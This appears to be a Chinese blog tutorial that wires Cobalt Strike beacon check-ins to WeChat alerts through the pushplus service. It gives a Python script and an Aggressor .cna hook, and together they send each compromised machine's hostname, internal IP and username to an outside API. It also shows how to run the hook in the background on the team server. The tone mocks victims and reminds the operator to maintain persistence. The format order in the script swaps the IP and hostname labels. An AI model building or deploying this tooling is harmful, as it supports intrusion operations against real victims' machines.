CobaltStrike上线微信通知
利用pushplus公众号(每天免费发送200条消息)
http://www.pushplus.plus/push1.html
扫码登录后需要复制token
可以测试一下发送一下消息,手机会受到如下消息。可以在微信提示里将消息免打扰关闭(默认是开启的)
利用该api接口在上线后进行请求,参考了github上大佬的代码。但接口变了用不了只能自己改一下,改好的代码如下
# encoding:utf-8
import argparse
import requests
import random
import string
import json
token = 'xxxxxx' #在 http://www.pushplus.plus/push1.html 复制
parser = argparse.ArgumentParser(description='Beacon Info')
parser.add_argument('--computername')
parser.add_argument('--internalip')
parser.add_argument('--username')
args = parser.parse_args()
internalip = args.internalip
computername = args.computername
username = args.username
ran_str = ''.join(random.sample(string.ascii_letters + string.digits, 8))
title = "TPAER专用CS主机上线提醒"
content = """
**主人又有笨蛋上线了~**
**主机名: {}**
**IP: {}**
**用户名: {}**
**Token: {}**
**注意权限维持**
""".format(internalip, computername, username, ran_str)
url = 'http://www.pushplus.plus/api/send'
data = {
"token":token,
"title":title,
"content":content,
"template":"markdown",
"channel":"wechat"
}
body=json.dumps(data).encode(encoding='utf-8')
headers = {'Content-Type':'application/json'}
requests.post(url,data=body,headers=headers)
可以将token替换,直接运行看微信是否成功收到消息,测试成功后放在服务器某目录下
然后是一个.cna文件,里面需要修改的cmd命令中的地址
on beacon_initial {
println("Initial Beacon Checkin: " . $1 . " PID: " . beacon_info($1,"pid"));
local('$internalIP $computerName $userName');
$internalIP = replace(beacon_info($1,"internal")," ","_");
$computerName = replace(beacon_info($1,"computer")," ","_");
$userName = replace(beacon_info($1,"user")," ","_");
$cmd = 'python3 /root/ATK/CSonWeChat/PushPlus.py' . " --computernam " . $computerName . " --internalip " . $internalIP . " --username " . $userName;
println("Sending server: " . $cmd);
exec($cmd);
}
在准备完成后进入cs的目录下,可以使用screen也可以nohup命令后台挂载
我这里直接使用screen,然后执行如下命令
./agscript Cobalt_Strikeip 端口 用户 密码 /目录/PushPlus.cna > /目录/PushPlus.log 2>&1 &
查看进程,成功跑起
ps -aux | grep agscript
在CS有主机上线后,微信成功收到了发来的提示信息